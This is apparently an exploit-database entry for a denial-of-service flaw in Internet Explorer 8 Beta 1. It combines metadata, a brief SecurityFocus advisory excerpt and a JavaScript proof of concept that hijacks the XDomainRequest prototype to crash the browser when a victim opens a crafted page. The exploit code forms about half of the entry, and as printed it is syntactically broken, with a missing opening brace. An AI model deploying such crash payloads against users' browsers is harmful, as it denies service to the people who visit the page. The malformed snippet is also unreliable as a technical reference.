Microsoft Internet Explorer 8 Beta 1 - XDR Prototype Hijacking Denial of Service

Author: The Hacker Webzine
type: dos
platform: windows
port: 
date_added: 2008-04-02 
date_updated: 2014-02-12 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/28580/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted webpage.

Successfully exploiting this issue will allow attackers to crash the application, denying service to legitimate users.

This issue affects Microsoft Internet Explorer 8 Beta 1.

<script>

// trying prototype hijacking here.

xdr = XDomainRequest;

XDomainRequest = function()

return new XDomainRequest();

}



ping = 'hello';

xdr = new XDomainRequest();

xdr.open("POST", "http://cnn.com");

xdr.send(ping);



</script>